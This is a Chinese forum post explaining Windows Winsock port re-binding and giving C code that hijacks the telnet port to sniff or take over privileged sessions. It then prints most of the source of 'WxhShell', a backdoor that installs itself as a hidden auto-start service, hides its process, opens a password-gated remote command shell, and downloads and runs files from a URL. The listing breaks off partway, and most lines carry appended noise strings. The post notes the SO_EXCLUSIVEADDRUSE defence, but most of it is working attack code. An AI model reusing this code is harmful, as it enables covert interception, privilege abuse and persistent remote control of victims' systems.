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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:  4K$d%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MXuiQ;./  
ESv&x6H  
  saddr.sin_family = AF_INET; wz 5*?[4  
TWJ%? /d  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?1MaA  
#3Jn_Y%P.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Hh.l,Z7i7D  
[y$sJF7;I  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 TfqQh!Y  
?!kPW^gD  
  这意味着什么?意味着可以进行如下的攻击: eMDraJv@  
i^DZK&B@u  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ZfN%JJOz(  
SgPvQ'\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eI*o9k$Qs  
:w 4Sba3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 NX:i]t  
s:#\U!>0`  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  /CN`U7:E  
OO+QH 2j  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 )}jXC4  
G2}e@L0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 fP:g}Z  
) %&~CW+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 gEU|Bx/!=  
sYb(g'W*'  
  #include O9]+Jd4W  
  #include (lVHKg&U[  
  #include !5K9L(gqb  
  #include    eo&nAr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   }Qm: g  
  int main() Ox1#}7`0>  
  { DJf!{:b)  
  WORD wVersionRequested; 'rQ>Z A_8  
  DWORD ret; ')>&:~  
  WSADATA wsaData; V}kQXz"9  
  BOOL val; Ljjuf=]  
  SOCKADDR_IN saddr; BSB;0OM  
  SOCKADDR_IN scaddr; /<$\)|r  
  int err; &*N;yW""f  
  SOCKET s; * "Z5bKL  
  SOCKET sc; aM|^t:  
  int caddsize; \P|PAU@,  
  HANDLE mt; G\1\L*+0  
  DWORD tid;   8/dx)*JCq  
  wVersionRequested = MAKEWORD( 2, 2 ); Xn 1V1sr  
  err = WSAStartup( wVersionRequested, &wsaData ); Q5H! ^RQm  
  if ( err != 0 ) {  iFy_ D  
  printf("error!WSAStartup failed!\n"); V>&WZY  
  return -1; d}t7bgk'j  
  } [_h/Dh C:+  
  saddr.sin_family = AF_INET; i7/I8y  
   09SLQVo  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Bqd'2HQd  
:_FnQhzg  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); %`[Oz[V  
  saddr.sin_port = htons(23); OF)G 2>t  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) '-7rHx  
  { IE|$mUabm  
  printf("error!socket failed!\n"); plRBfw>]N  
  return -1; "NgfdLz  
  } ZYy?JDAO  
  val = TRUE; j%m9y_rg}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 `'Af`u\R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )E.!jL:g  
  { 0//?,'.  
  printf("error!setsockopt failed!\n"); $ &Ntdn  
  return -1; fvDt_g9oI  
  } pp#xN/V#a  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~<?+(V^D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 "Vg1'd}f  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3S~Gi,  
{T^"`%[   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hv.$p5UY*  
  { \Y0o~JD  
  ret=GetLastError(); ? %9-5"U[  
  printf("error!bind failed!\n"); AUm"^-@x#>  
  return -1; x"9e eB,  
  } oK5"RW  
  listen(s,2); ([r4N#lx  
  while(1) W/3,vf1  
  { 7 )`U%}R  
  caddsize = sizeof(scaddr); ke sg]K  
  //接受连接请求 :QGd/JX$n`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 2|KgRk|!  
  if(sc!=INVALID_SOCKET) V kA$T8  
  { [!ghI%VK  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); LK}Ih@ f  
  if(mt==NULL) aeQvIob@  
  { h2SVDKj  
  printf("Thread Creat Failed!\n"); Y%FQ]Q=+  
  break; 78}QaE  
  } ZPieL&uV`  
  } zF9SZ#{a  
  CloseHandle(mt); 4' ym vR  
  } L"|~,SVF  
  closesocket(s);  jIMT&5k  
  WSACleanup(); K/,y"DUN&  
  return 0; *f[nge&.  
  }   G^`IfF-j  
  DWORD WINAPI ClientThread(LPVOID lpParam) sw={bUr6G`  
  { Li jisE  
  SOCKET ss = (SOCKET)lpParam; QgZwU$`p0  
  SOCKET sc; o"te7nBI  
  unsigned char buf[4096]; "%o,P/<X  
  SOCKADDR_IN saddr; :ub 4p4h*  
  long num; OD*\<Sc  
  DWORD val; csceu+ IA  
  DWORD ret; lTe7n'y^^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 KxZO.>,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `K,{Y_  
  saddr.sin_family = AF_INET; 8 z) K  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); CWP),]#n  
  saddr.sin_port = htons(23); o=t@83Fh5  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \>T+\?M  
  { `OL@@`'^{S  
  printf("error!socket failed!\n"); Xu4C*]A>  
  return -1; dr|>P*  
  } B}PT-S1l  
  val = 100; "$->nC.  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3D"2yTM(  
  { RObo4  
  ret = GetLastError(); Rqi= AQ  
  return -1;  kYls jM  
  } eI+<^p_j2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wchu-]  
  { toq/G,N Q  
  ret = GetLastError(); @H{QHi  
  return -1; NUlp4i~Q  
  } D5o[z:V7"  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) S>-x<'Os  
  { Z*+0gJ<Y  
  printf("error!socket connect failed!\n"); i `m&X6)\j  
  closesocket(sc); ?ztI8 I/  
  closesocket(ss); BB x359  
  return -1; XX85]49`%  
  } BGtr=&Hq  
  while(1) B6N/nCvHK  
  { n{d0}N =  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 E [:eMJR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zTgY=fuz  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 j20/Q)=h  
  num = recv(ss,buf,4096,0); KASuSg+  
  if(num>0) +-DF3(  
  send(sc,buf,num,0); OcA_m.  
  else if(num==0) |WiE`&?xP  
  break; hA6   
  num = recv(sc,buf,4096,0); z%)~s/2Rs  
  if(num>0) r{cefKJHg  
  send(ss,buf,num,0);  n[vwwY  
  else if(num==0) <>n-+Kr  
  break; I~^t\iujs  
  } 3 291"0  
  closesocket(ss); <EhOIN7@*D  
  closesocket(sc); v r=va5  
  return 0 ; ans(^Up$  
  } *oby(D"p  
{8TLL @T4  
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========================================================== Wq5 }SM  
k? <.yr1  
下边附上一个代码,,WXhSHELL [@VM'@e7  
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========================================================== X#ZQpo'h  
b< dwf[  
#include "stdafx.h" ',WnT:  
eD|p1+76  
#include <stdio.h> J?wCqA  
#include <string.h> 3WVH8Sb  
#include <windows.h> Fy; sVB  
#include <winsock2.h> fH@P&SX  
#include <winsvc.h> e^LjB/<Th  
#include <urlmon.h> WE{fu{x  
lm;Dy*|<  
#pragma comment (lib, "Ws2_32.lib") V-{3)6I$hG  
#pragma comment (lib, "urlmon.lib") D6$*#D3U  
t@&U2JaL>W  
#define MAX_USER   100 // 最大客户端连接数 e3 #0r  
#define BUF_SOCK   200 // sock buffer H[S}&l\D4  
#define KEY_BUFF   255 // 输入 buffer ,QeJ;U  
~'9\y"N1  
#define REBOOT     0   // 重启  uc<JF=  
#define SHUTDOWN   1   // 关机 5@lVuMIYT  
_%@dlT?  
#define DEF_PORT   5000 // 监听端口 AV>_ bw.  
){nOM$W  
#define REG_LEN     16   // 注册表键长度 U<YcUmX  
#define SVC_LEN     80   // NT服务名长度 tx*L8'jlN  
J dM0f!3  
// 从dll定义API rAn:hR{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F@tfbDO?  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o7r7HmA@  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i_c'E;|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); khc1<BBsT  
O"M2*qiH  
// wxhshell配置信息 S-f .NC}:i  
struct WSCFG { ( < e q[(  
  int ws_port;         // 监听端口 6e;POW  
  char ws_passstr[REG_LEN]; // 口令 VMee"'08  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2q NA\-0i>  
  char ws_regname[REG_LEN]; // 注册表键名 'OACbYgG  
  char ws_svcname[REG_LEN]; // 服务名 E0*KKo%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~n"?*I`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O"GuVC}B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ke;eI+P[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z/I\hC9i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,M.phRJ-`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lR>p  
8.!+Hm4  
}; Ud_7>P$a  
I}jem  
// default Wxhshell configuration ~.<QC<dN  
struct WSCFG wscfg={DEF_PORT, kSpy-bVn  
    "xuhuanlingzhe", r) u@,P  
    1, *)(S}D\94  
    "Wxhshell", -O^R~Q_`w  
    "Wxhshell", \8Hs[H!  
            "WxhShell Service", J2Mq1*Vpq  
    "Wrsky Windows CmdShell Service", : 5X^t  
    "Please Input Your Password: ", uq2C|=M-x\  
  1, 64L;np>  
  "http://www.wrsky.com/wxhshell.exe", f<{f/lU@  
  "Wxhshell.exe" 2oF1do;  
    }; Z[9t?ePL  
i'QR-B&Z  
// 消息定义模块 rJT YCe1*  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `-!kqJ  
char *msg_ws_prompt="\n\r? for help\n\r#>"; GBl[s,g[|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :jf/$]p  
char *msg_ws_ext="\n\rExit."; *E wDwS$$  
char *msg_ws_end="\n\rQuit."; dBkM~"  
char *msg_ws_boot="\n\rReboot..."; a&Z,~Vp  
char *msg_ws_poff="\n\rShutdown..."; G J{XlH  
char *msg_ws_down="\n\rSave to "; I&6M{,rnM  
r;9 V7C  
char *msg_ws_err="\n\rErr!"; ;:,U]@  
char *msg_ws_ok="\n\rOK!"; S,s#D9NU  
ICEyz| C  
char ExeFile[MAX_PATH]; D$AvD7_  
int nUser = 0; RW<10:  
HANDLE handles[MAX_USER]; 4?fpk9c{2  
int OsIsNt; %g~&$oZmq  
sU+8'&vBp  
SERVICE_STATUS       serviceStatus; 1l'JoU.<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o%,?v 9  
AHo}K\O?r  
// 函数声明 M>Q3;s  
int Install(void); zsLMROo3  
int Uninstall(void); 9X&=?+f  
int DownloadFile(char *sURL, SOCKET wsh); >"+ ho  
int Boot(int flag); Q;s {M{u  
void HideProc(void); R,s}<N$  
int GetOsVer(void); r1Hh @sxn  
int Wxhshell(SOCKET wsl); lWn}afI  
void TalkWithClient(void *cs); +c8t~2tuN  
int CmdShell(SOCKET sock); P }^Y"zF2  
int StartFromService(void); (5;nA'  
int StartWxhshell(LPSTR lpCmdLine); 4H^ACw  
2^=8~I!n&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #+N_wIP4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Ifokg~X~G  
WH"'Ju5}  
// 数据结构和表定义 {<$tEj:  
SERVICE_TABLE_ENTRY DispatchTable[] = ULhXyItL  
{ B]NcY&A  
{wscfg.ws_svcname, NTServiceMain}, 9q+W>wt  
{NULL, NULL} n2~WUK  
}; k 1a?yH)=  
Ai"MJ6)  
// 自我安装 2+/r~LwbK  
int Install(void) dW2 2v!  
{ fk9q3  
  char svExeFile[MAX_PATH]; -G~/ GO  
  HKEY key; }d>Xh8:%)  
  strcpy(svExeFile,ExeFile); D@O5Gd  
lcLDCt ?  
// 如果是win9x系统,修改注册表设为自启动 L/E7xLz  
if(!OsIsNt) { t Davp:M1v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DgK*> A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m[%':^vSr  
  RegCloseKey(key); ?6\N&MTF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]imVIu   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d'&OEGb<  
  RegCloseKey(key); jhPbh5E  
  return 0; teI?.M9r  
    } xC9{hXg!  
  } vS"h`pL  
} X-X`Z`o  
else { *p=enflU  
M7T*J>i  
// 如果是NT以上系统,安装为系统服务 MkHkM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); k<P`  
if (schSCManager!=0) *~YdL7f)J  
{ 6.a5%:  
  SC_HANDLE schService = CreateService 6"+9$nFyW  
  ( ?A3u2-  
  schSCManager, $P#x>#+[A  
  wscfg.ws_svcname, i=*H|)  
  wscfg.ws_svcdisp, >tPf.xI|l  
  SERVICE_ALL_ACCESS, {8qcM8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1Jdx#K  
  SERVICE_AUTO_START, 'sXrtl7{^  
  SERVICE_ERROR_NORMAL, YXZP-=fB>i  
  svExeFile, *];QPi~  
  NULL, $)$ r  
  NULL, ^pH8'^n  
  NULL, /qJCp![X  
  NULL, sVBr6 !v=  
  NULL Mtv{37k~  
  ); kI9I{ &J&  
  if (schService!=0) }!{R;,5/n  
  { IU5T5p  
  CloseServiceHandle(schService); @C!&lrf3  
  CloseServiceHandle(schSCManager); 9l "=]7~%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); JV@G9PT  
  strcat(svExeFile,wscfg.ws_svcname); 3!\h'5{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { BgD3P.;[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); pW@W-k:u  
  RegCloseKey(key); -.y1]4  
  return 0; QuG"]$  
    } /g. c( -#]  
  } ;/_htdj  
  CloseServiceHandle(schSCManager); ZgG~xl\My  
} -)^vO*b 0  
} @MVul_@6  
N&p0Emg  
return 1; :hs~;vn)  
} U]gUGD!5x  
7M4J{}9  
// 自我卸载 Z1I.f"XY  
int Uninstall(void) 'tw ]jMD  
{ wggB^ }~  
  HKEY key; x>B\2;  
^\Z+Xq1~/  
if(!OsIsNt) { [T,^l#S1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MJqWc6{ n  
  RegDeleteValue(key,wscfg.ws_regname); 2C}Yvfm4  
  RegCloseKey(key); 3~bB2APk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WA,D=)GP  
  RegDeleteValue(key,wscfg.ws_regname); gSw4\R  
  RegCloseKey(key); GC7WRA  
  return 0; qzJ<9H  
  } /hu>MZ(\  
} \QC{38}  
} g hmn3  
else { ,dTmI{@O  
V4NQcy? H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5 ,-8oEUL  
if (schSCManager!=0) ohq Thl  
{ _J!&R:]$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2aCf?l(  
  if (schService!=0) &.?E[db"h  
  { tm5)x^7  
  if(DeleteService(schService)!=0) { `*B0n>ol,  
  CloseServiceHandle(schService); |u?VlRt  
  CloseServiceHandle(schSCManager); 1s@QsZ3  
  return 0; 2/r8% Sq  
  } ,3 /o7'  
  CloseServiceHandle(schService); #@OPi6.#!<  
  } GW'v\O  
  CloseServiceHandle(schSCManager); +pme]V|<  
} G\BZ^SwE  
} QEf@wv;T  
J_Tz\bZ3)  
return 1; w-e{_R  
} 3p&T?E%  
C{pOGc@  
// 从指定url下载文件 Z3hZy&_I  
int DownloadFile(char *sURL, SOCKET wsh) z,ERq,g+L  
{ YmaS,Q-  
  HRESULT hr; Nz.X$zUmY  
char seps[]= "/"; Rr %x;-  
char *token; m!Z<\2OP  
char *file; O 1z0dHa  
char myURL[MAX_PATH]; 4>0q0}J=5  
char myFILE[MAX_PATH]; 0=3)`v{S@  
j; y~vX b  
strcpy(myURL,sURL); M yHv>  
  token=strtok(myURL,seps); pg4pfi^__V  
  while(token!=NULL) G2kU_  
  { v.Q#<@B^:  
    file=token; v;e8W9M  
  token=strtok(NULL,seps); Jg[Ao#,==  
  } =/46;844T  
vuPNru" 2  
GetCurrentDirectory(MAX_PATH,myFILE); W6i{ yne W  
strcat(myFILE, "\\"); C h>F11kC  
strcat(myFILE, file); .7^(~&5N  
  send(wsh,myFILE,strlen(myFILE),0); ]<f(@]R/d  
send(wsh,"...",3,0); C$6FI `J  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <A)M^,#o  
  if(hr==S_OK) *PnO$q@`  
return 0; B F<u3p??  
else `"&Nw,C  
return 1; A_oZSUrR  
$xZ ~bE9  
} Pn OWQ8=  
`L`+`B  
// 系统电源模块 &;d N:F;  
int Boot(int flag) gx9Os2Z|3  
{ WV$CZgL  
  HANDLE hToken; {IV% _y?  
  TOKEN_PRIVILEGES tkp; |{YN3"qN  
- C q;  
  if(OsIsNt) { h9ScN(|0y  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ":Tm6Nj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Yw3'9m^  
    tkp.PrivilegeCount = 1; (8h4\utA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; c]ARgrH-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); g) u%?T  
if(flag==REBOOT) { Vz/w.%_g  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _=s9o/Cn]  
  return 0; ;z4F-SYQ  
} "g ^i%  
else { zk8 )!Af  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {s0%XG1$  
  return 0; Y\-xX:n.\  
} qXW\/NT"p<  
  } pVy=rS-  
  else { 0wv#AT  
if(flag==REBOOT) { 1}DA| !~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 11yXI[  
  return 0; 1W{N6+u  
} El<*)  
else { =9a2+v0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A%.mIc.  
  return 0; !g]5y=  
} TR0y4u[  
} 8J(j}</>a  
>5~#BrpwG  
return 1; NVv <vu  
} YK3>M"58  
w I_@  
// win9x进程隐藏模块 QE(.w dHP  
void HideProc(void) ?8V.iHJk  
{ eTx9fx w  
ux&"TkEp  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); W%g*sc*+  
  if ( hKernel != NULL ) I1E9E$m5\<  
  { .Az36wD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); E?XaU~cpc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QPx5`{nN  
    FreeLibrary(hKernel); %vJHr!x  
  } "17)`Yf  
f)/Z7*Z  
return; OT])t<TF6  
} +{I_%SsG  
`uMEK>b  
// 获取操作系统版本 k <oB9J  
int GetOsVer(void) |NfFe*q0;8  
{ ^Qs}2%  
  OSVERSIONINFO winfo; }]vUr}Els  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :DN!1~ZtW  
  GetVersionEx(&winfo); < xy@%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) q`<:CfCt  
  return 1; P9cx&Hk9  
  else 2^WJ1: A  
  return 0; l/X_CM8y~  
} l'+3 6  
'c s(gc 0  
// 客户端句柄模块 j?.F-ar  
int Wxhshell(SOCKET wsl) F<* /J]  
{ 1VX3pkUET  
  SOCKET wsh; ~wb1sn3  
  struct sockaddr_in client; v03cQw\"WE  
  DWORD myID; X( N~tE  
EMmgX*iu@  
  while(nUser<MAX_USER) p'/\eBhG]=  
{ At(88(y-W  
  int nSize=sizeof(client); )5Khl"6!z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); EjR(AqZY  
  if(wsh==INVALID_SOCKET) return 1; Uk?G1]$mL  
uYUFxm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XQ]K,# i  
if(handles[nUser]==0) MgJ6{xzz  
  closesocket(wsh); ~R!1{8HP  
else p27Dc wov  
  nUser++; )O1]|r7v  
  } i1 E|lp)  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #aP#r4$  
4 mX(.6  
  return 0; _gT65G~z  
} W>@ti9\t  
jdxHWkQ   
// 关闭 socket TrjyU  
void CloseIt(SOCKET wsh) Lzh8-d=HQ  
{ xE1?)  
closesocket(wsh); bwsKdh  
nUser--; mk>; 3m*  
ExitThread(0); H bKE;N  
} +MoUh'/u  
hhTtxC<:  
// 客户端请求句柄 E=sh^Q(A  
void TalkWithClient(void *cs) ;.>*O oe&  
{ /%T/@y  
!m@cTB7i   
  SOCKET wsh=(SOCKET)cs; fzSkl`K}  
  char pwd[SVC_LEN]; /7AHd ;  
  char cmd[KEY_BUFF]; BPY7O  
char chr[1]; ;KL7SM%g4  
int i,j; D#g -mqar:  
jRK}H*uem  
  while (nUser < MAX_USER) { Y <6|z3  
 U4!bW  
if(wscfg.ws_passstr) { #"gt&t9Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8Y`Lq$u  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }. &nEi`  
  //ZeroMemory(pwd,KEY_BUFF); clE9I<1v  
      i=0; VeA@HC`?"  
  while(i<SVC_LEN) { ^)AECn  
V*p[6{U0  
  // 设置超时 n ay\)  
  fd_set FdRead; HsCL%$k  
  struct timeval TimeOut; voa)V 1A/]  
  FD_ZERO(&FdRead); 22l'kvo4"  
  FD_SET(wsh,&FdRead); z74JyY  
  TimeOut.tv_sec=8; PUdv1__C  
  TimeOut.tv_usec=0; xWLvx'8W  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); CNB weM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I,?NYIG"(  
tr0b#4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x@ -K  
  pwd=chr[0]; 5aQ)qUgAW  
  if(chr[0]==0xd || chr[0]==0xa) { 3lUVDNbZ  
  pwd=0; Vk6c^/v  
  break; Etz#+R&*  
  } V6g*"e/8  
  i++; T^A(v(^D  
    } *lfjsrPu  
 ?8>a;0  
  // 如果是非法用户,关闭 socket =E-x0sr?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /`PYk]mJh  
} {wS i?;[Gq  
x ytrd.  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); A4j ,]hOD  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); odP<S.  
o@Ye_aM~?Y  
while(1) { 1[egCC\Mo_  
dwA"QVp{  
  ZeroMemory(cmd,KEY_BUFF); )."ob=m  
1$*8F  
      // 自动支持客户端 telnet标准   MK#   
  j=0; /X}1%p  
  while(j<KEY_BUFF) { W~ yb>+u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gs: g  
  cmd[j]=chr[0]; {cdICWy(F3  
  if(chr[0]==0xa || chr[0]==0xd) { bmT%?it  
  cmd[j]=0; }<Ydj .85  
  break; a"(Ws]K  
  } Jz8P':6[  
  j++; _H| )g*]t  
    } ` m 5\  
5_^d3LOT0x  
  // 下载文件 [@K'}\U^+  
  if(strstr(cmd,"http://")) { H1N@E}>|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (kL"*y/"p  
  if(DownloadFile(cmd,wsh)) 4 ]oe`yx  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); x?i wtZ@  
  else %JeND XbI4  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !'$*Z(  
  } frcAXh9  
  else { bJ2-lU% ;2  
]OpGD5jZ  
    switch(cmd[0]) { KloX.y)q  
  Zg+.`>z  
  // 帮助 igu1s}F  
  case '?': { { 4+/0\  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '(K4@[3t  
    break; dsIbr"m  
  } eF3NyL(A  
  // 安装 ?V`-z#y7  
  case 'i': { 3W'fEh5  
    if(Install()) ;MfqI/B{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |$ PA  
    else < F5VJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -x ?Z2EA!  
    break; $1=7^v[U  
    } JuJW]E Q  
  // 卸载 Uw4iWcC  
  case 'r': { BA a:!p  
    if(Uninstall()) ,ei9 ?9J1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*,55,y  
    else 4K cEJlK5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F=F84 _+K  
    break; ww|fqx?  
    } ?>7\L'n=5I  
  // 显示 wxhshell 所在路径 N[@~q~v  
  case 'p': { *)[fGxz \  
    char svExeFile[MAX_PATH]; bU gg2iFS  
    strcpy(svExeFile,"\n\r"); sI\NX$M  
      strcat(svExeFile,ExeFile); C6ql,hR^h`  
        send(wsh,svExeFile,strlen(svExeFile),0); Gs#9'3_U5  
    break; &>-'|(m+2  
    } u^Cl s!C  
  // 重启 tM LiG4 |7  
  case 'b': { g9C-!X-<T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); - ~z@W3\  
    if(Boot(REBOOT)) V@0T&#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F6vsU:TfB  
    else { .H|Z3d!Jj  
    closesocket(wsh); :h@V,m Z  
    ExitThread(0); z ,;XWv?  
    } Q & /5B  
    break; c@>ztQU*  
    } 2IJniS=[>  
  // 关机 lLQcyi0  
  case 'd': { Q`i@['?p  
